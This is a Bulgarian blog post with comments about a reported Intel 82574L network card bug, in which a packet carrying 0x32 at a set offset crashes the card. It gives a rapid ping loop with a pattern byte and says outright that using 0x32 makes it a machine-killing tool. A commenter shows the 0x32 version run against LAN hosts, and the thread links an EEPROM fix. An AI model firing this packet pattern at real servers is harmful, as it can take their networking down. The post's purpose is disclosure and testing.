2013-02-07 crash в intel-ски мрежови карти
by Vasil KolevТоя проблем бие по малоумност голяма част от нещата, които съм виждал в последната година.
Kristofer Kielhofner е намерил гаден проблем в Intel 82574L мрежовите карти, който с пакет, в който на специфична позиция пише 0x32 просто crash-ва картата (бъгове в power management-а вероятно), в internet storm center-а има по-съкратена информация.
(това е мрежовата карта по доста от сървърните дъна от последните години)
Решението, което аз виждам (и което вече пуснах) изглежда така:
for i in `cat list-of-ips`; do do ping -i .001 -c 128 -p 34 -s 1110 $i ; done
(броя пакети съм си го харесал да е толкова, може и да няма нужда от толкова много)
(съответно, смяната на 34 с 32 го прави tool за трепане на машини)
Проблемът не се задейства винаги, вероятно има и разлики при различни firmware-и на разните мрежови карти (ще ми е интересно някой дали е успял да го reproduce-не и в какви условия), но вероятно е добра идея човек да е подготвен.
Update: до тук аз поне не съм успял да го reproduce-на (както и при някои други хора), та може да е сравнително изолиран проблем.
Update 2: Press release от intel по въпроса.
February 8th, 2013 at 03:34
root@bootcamp:~# for i in {0..1}; do ping -i .001 -c 128 -p 32 -s 1110 192.168.
— 192.168.0.100 ping statistics —
128 packets transmitted, 128 received, 0% packet loss, time 490ms
rtt min/avg/max/mdev = 2.707/3.748/8.229/1.276 ms
PATTERN: 0x32
PING 192.168.0.101 (192.168.0.101) 1110(1138) bytes of data.
—
— 192.168.0.101 ping statistics —
128 packets transmitted, 128 received, 0% packet loss, time 330ms
rtt min/avg/max/mdev = 1.840/2.480/8.610/1.143 ms
root@bootcamp:~# for i in {0..1}; do ping -i .001 -c 128 -p 32 -s 1110 192.168.
— 192.168.0.100 ping statistics —
128 packets transmitted, 128 received, 0% packet loss, time 508ms
rtt min/avg/max/mdev = 2.783/3.770/10.551/1.358 ms, pipe 2
PATTERN: 0x32
PING 192.168.0.101 (192.168.0.101) 1110(1138) bytes of data.
—
— 192.168.0.101 ping statistics —
128 packets transmitted, 128 received, 0% packet loss, time 315ms
rtt min/avg/max/mdev = 1.807/2.380/5.682/0.951 ms
root@bootcamp:~#
February 8th, 2013 at 09:19
@HeCTaHa, ethtool -e | grep 0x0010 и ethtool -i на тия карти какво дават?
February 8th, 2013 at 21:36
http://sourceforge.net/projects/e1000/files/e1000e%20stable/eeprom_fix_82574_or_82583/